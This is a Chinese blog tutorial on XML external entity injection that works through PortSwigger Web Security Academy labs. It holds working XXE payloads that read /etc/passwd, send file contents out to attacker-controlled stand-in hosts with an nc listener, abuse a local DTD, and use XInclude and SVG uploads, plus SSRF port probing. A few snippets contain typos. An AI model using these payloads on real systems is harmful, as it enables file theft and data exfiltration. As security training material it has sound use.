淺解XXE與Portswigger Web Sec

k1115h0t發表於2022-01-14

XXE與Portswigger Web Sec

​ 相關連結:

部落格園

安全脈搏

FreeBuf



簡介XML

     XML,可擴充套件標記語言,標準通用標記語言的子集。XML的簡單易於在任何應用程式中讀/寫資料,這使XML很快成為資料交換的唯一公共語言。

     XML被設計為傳輸和儲存資料,XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素,其焦點是資料的內容,其把資料從HTML分離,是獨立於軟體和硬體的資訊傳輸工具。XXE漏洞全稱XML External Entity Injection,即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案,造成檔案讀取、命令執行、內網埠掃描、攻擊內網網站等危害。

其與HTML的主要差異

     XML被設計為傳輸和儲存資料,其焦點是資料的內容。

     HTML被設計用來顯示資料,其焦點是資料的外觀。

     HTML旨在顯示資訊,而XML旨在傳輸資訊。

     (小型網站一般不會儲存XMl資料 )

​ XXE的全稱為 XML 外部實體注入,在學習的過程中發現有回顯的 XXE 並不多,而大部分都是 OOB 型別的 XXE。也就是通過引用外部 dtd 實體來獲取指定的資訊。

<!ENTITY test "hello world!"> 
       // 內部實體
<!ENTITY test SYSTEM "http://123.com/123.dtd">
       // 外部普通實體
<!ENTITY % test SYSTEM "http://123.com/dtd">
       // 外部引數實體
%test;
       // 在 dtd 中對外部引數實體進行引用

攻擊原理:

​ 已知 xml 可以引用外部的 dtd 檔案。那麼通過定義一個引數實體,再將需要讀取檔案的路徑賦值給 前面定義的 引數實體,就形成了任意檔案的讀取。如果把實體的值換成 IP+埠,那麼就可能形成一個內網探測SSRF樓漏洞。而 xml 直譯器在解釋 xml 的時候有兩種方式,一種是一次性載入整個 xml;另一種是一部分一部分的對 xml 進行解析。如果遞迴的呼叫 xml 定義,且資料量巨大,就有可能造成拒絕服務攻擊。並且聯想到我們之前學習過的 sql 注入漏洞,有些通過 xml 傳遞的資料可能會被代入到資料庫中進行查詢,那麼就有可能造成 sql注入攻擊

基礎的XXE(有回顯的XXE)


1 · 直接外部 dtd

<!DOCTYPE test [
<!ENTITY killshot SYSTEM "file:///etc/passwd">
]>
<root>
<test>&</test>
</root>

​ 直接引用的話,最終的結果會在 Response 中回顯

2 · 通過 dtd引入外部 dtd

<!DOCTYPE test SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
<root>&send;</root>

3 · 報錯的XXE

報錯XXE的思路與sql注入中的報錯注入類似,都是通過伺服器的報錯資訊獲取我們想要的資訊

例如 這裡##安全脈搏##提到的
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % killshot0 "<!ENTITY killshot1 SYSTEM 'http://vps.com.$$$$$$$/exploit/?file=%file'>">
]>
返回結果

​ 正是由於 xml直譯器嘗試解析並訪問構造好的錯誤域名,但是由於域名錯誤,無法到達正確的 URL 。因此有可能會爆出錯誤並顯示出我們想要的結果。

又或者像是這樣

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % killshot "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%killshot;
%error;

​ 構造一個錯誤的路徑+正確的路徑。直譯器在解釋 error 的時候會因為找不到正確的檔案路徑而報錯。


XML漏洞可以間接導致很多漏洞,下圖給出不同的XML直譯器所支援的協議


Out-Of-Band


1 · 直接請求伺服器上的dtd

​ 通過先定義一個 引數實體 來獲取指定檔案的內容,再通過 引用引數實體的方式請求 外部伺服器配置好的 dtd來獲取指定檔案的內容。

如下:

<!DOCTYPE [
<!ENTITY % test1 SYSTEM "file:///etc/passwd">
<!ENTITY % test2 SYSTEM "http://vps.com/?tao=%test1;">
%test2;
]>

​ 正如上述,直接定義一個引數實體 test1 ,讓這個引數實體通過 file:// 協議請求內部的檔案,再通過應用 test2 請求伺服器,通過引數的形式獲取指定的檔案。

但是這樣並不會成功,幾乎在 XML 所有的直譯器中都不會解釋同級引數實體的內容。

使用 nc:
VPS-dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">
Payload:
<!DOCTYPE Note [
    <!ENTITY % remote SYSTEM "http://ip/exploit.dtd">
    %remote;
    %start;
    %send;
]>

最後使用nc

nc -lvp 1234

2 · 巢狀請求

​ 我們直接給出 payload,並在稍後進行分析。

<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % test1 "<!ENTITY
&#x25; test2 SYSTEM'http://vps.com/?x=%file'
>">
]>

​ 因為是巢狀的緣故,所以引數實體中的 % 需要 ENTITY 編碼轉義。直接將此類程式碼新增在資料包中是行不通的。因為在內部 ENTITY 中禁止應用引數實體。也正是因為這種限制,所以我們需要在伺服器中新增 dtd,然後請求外部伺服器的 dtd。

全新的 payload:

xxe:
<!DOCTYPE test [
    <!ENTITY % test SYSTEM "http://vps.com/test.dtd">
 %test;
    ]>
test.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % run1 "<!ENITTY &#x25; run2 SYSTEM 'http://dns/?x=%file'>">
%run1;
%run2;

​ 在上述全新的 payload 中,我們通過 應用 %test 讓有 XXE 漏洞的伺服器請求如上的伺服器地址。然後在test.dtd 被載入的過程中,先引用 run1 實體,run1 實體的引用讓 run2 實體得以載入,隨後 將 file 引數實體的值通過引數的形式傳遞到 dns伺服器上。

3 · 不允許請求外部伺服器

​ 可能會存在部分主機防火牆過濾機制嚴格,不允許請求外部伺服器的 dtd。但是我們的思路是不變的,也就是通過一個 引入一個外部的 dtd 載入修改好的實體。

​ 在作業系統中,常常會有很多自帶的 dtd 檔案,如下面給到的 /usr/share/yelp/dtd/docbookx.dtd 。而我們的思路就是 :

  重寫一個內部 dtd 所含有的引數實體,通過載入內部的 dtd 起到引用重寫的 dtd 的作用。

​ 這裡給出一個 payload:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;'> 
    %remote;
]>
<message>1234</message>
上述流程:
   定義一個引數實體 remote 且其值為內部 dtd 的路徑;定義的 file 引數實體值需檢視的檔案路徑。而引數實體 ISOamso 是內部實體檔案所自帶的 引數實體 ,並且我們使用三層巢狀將外部伺服器的 URL 巢狀了進去(第三層的巢狀需要將 引號 也進行 ENTITY 編碼)。

由此可見在伺服器端執行的大致流程如下:
   引數實體 remote 被引用,開始載入指定路徑下的系統自帶 dtd 。自帶的dtd載入過程中引用了重寫過的 ISOamso 引數實體,便開始定義出名為 eval 的引數實體鍵值對。即相繼呼叫了eval 與 send。最後在載入 send 值的同時引用 file 的值。由此 /etc/passwd 的內容便被以引數的形式傳送到指定的伺服器上。但貌似在讀取檔案的時候對於 GET 最大傳參大小限制這一解決問題,本人在學習的過程中並未找到相關資料

Xinclude

有的 web 應用程式會把使用者輸入的資料嵌入到後端的 XMl 裡,然後再進行解析。這就意味著攻擊者無法直接的控制整個 xml 文件,也無法修改 dtd 元素

​ 但是我們可以改用 xinclude 進行攻擊,Xinclude 是一個 XML 的特性。其允許從子文件中構建 XML 文件,那麼攻擊的開始我們需要一個 標記 xi:include

Payload:
 <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

SVG(檔案上傳)

​ SVG 意為可縮放向量圖形(Scalable Vector Graphics),並且其使用 XML 定義影像。其與主流的圖片格式的區別在於如果去改變他的尺寸或者是大小其圖片的質量都不會發生變化。

​ 也正是由於SVG使用 XML 定義影像,因此容易造成 XSS和XXE

XXE-Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

​ hint:

​ 在有回顯的情況下,如果無法回顯所有的內容,可以嘗試將 SVG 影像的尺寸調大

無回顯結合SVG

​ 首先在外部伺服器上放置我們構造好的 dtd 檔案,然後再通過上傳 SVG 檔案使目標機請求外部的 dtd 文件。

SVG:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [ 
<!ENTITY lab SYSTEM "file:///etc/passwd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://vps.com/exploit.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
        <text y="20" font-size="20">&lab;</text>
</svg>
DTD:
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">

​ 總而言之,SVG在XXE中也只是一個用來傳輸 payload 介質,除去了他是介質這一點,可以知道SVG所造成的XXE 與常規的XXE並無太大區別


靶機演練


1 · 直接外部 dtd

​ 抓取資料包

payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY redsun SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&redsun;</productId><storeId>1</storeId></stockCheck>

​ 有回顯的 XXE 顯示效果

2 · 通過XXE進行SSRF

​ 下圖是已經修改過的資料包

​ 可以通過對埠號進行遍歷,觀察返回資料包的情況。以此來判斷內網埠的情況。

​ 而下圖可見,返回為Connection refused為關閉。否則即為開啟

3 · 外帶的XXE

PAYLOAD:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY tao SYSTEM "http://xmn9ezvw3u2etibn957x6bb5zw5mtb.burpcollaborator.net">
]>
<stockCheck>
<productId>&tao;</productId>
<storeId>1</storeId>
</stockCheck>

返回的DNS資訊:

當然此處可以讓其載入 VPS 上的 dtd 檔案,而上述的dns外帶簡單payload 可以作為測試是否存在XXE使用

======================================

PS1:

  以下的注入大部分屬於盲注型別,一般的 XXE 對於資訊的外帶是基於 web 頁面的回顯。但如果 web 無回顯,可以嘗試使用 dns 外帶(Out Of Band)的方式

PS2:

   盲注的 XXE 主要設計 引數實體和內部實體。引數實體就是上面 payload 中的帶有 % 的部分。而內部實體是指在一個實體內部定義另一個實體,可以理解為 實體的巢狀 。
   但是內部實體是否有用取決於 程式語言的直譯器 是否支援。

======================================

4 · 通過 XML 引數實體進行DNS帶外互動的盲 XXE

​ 如果還是使用上面的 Payload 會顯示:

Entities are not allowed for security reasons
     // 處於安全原因不允許使用外部實體

​ 那麼就需要對 Payload 做出一些改動:

<!DOCTYPE stockCheck [
<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; 
]>
  // 把原有的 dtd 實體資訊改成這樣

5 · 通過外部的dtd獲取敏感資訊

這一關要求我們通過讓靶機訪問外部的 dtd 來實現資訊的外帶

原始資料包:

​ 需要一臺擁有域名的vps,並且有我們自己編寫好的dtd

6 · 報錯盲注 XXE外帶

​ 這裡要求我們構造報錯資訊,並通過報錯資訊顯示出指定敏感檔案的路徑。因此我們需要在外部伺服器上建立一個構造好的 dtd 檔案。並用在資料包中加入構造好的payload,用以請求外部的 dtd

​ 外部 dtd 檔案:

外部dtd-Payload:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % test "<!ENTITY &#x25; error SYSTEM 'file:///aabbccdd/%file;'>">
%test;
%error;

​ 構造好的資料包:

<!DOCTYPE dtd [
<!ENTITY % woo SYSTEM "https://exploit-ac031f0c1ffad6bac13c214301390046.web-security-academy.net/exploit.dtd">
%woo;
]>

​ 可以在報錯資訊中看到指定檢視的 passwd 檔案

7 · 重寫系統自帶 dtd

由於目標系統防火牆的限制,導致了無法請求外部伺服器的 dtd。所以我們需要引用系統內部的 XXE,並重寫其中的 引數實體

已知:
  使用 GNOME 桌面環境的系統通常具有 DTD,其中包含一個名為/usr/share/yelp/dtd/docbookx.dtd 
且其中的一個引數實體名為 ISOamso

​ 原始資料包:

payload:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Response:

8 · Xinclude

​ 可以看到原始資料包中,並沒有有關 xml 的資訊

​ 那麼我們來嘗試一下使用 xinclude 來進行 XXE

Payload:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

​ 可以看到在資料包中已經讀取到我們定義的路徑檔案了

9 · SVG

Payload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text></svg>

​ 將構造好的檔案上傳之後再返回頁面原始碼中尋找靶場需要我們提交的 flag

​ 可以看到頁面顯示的評論裡面有我們想要的東西

相關文章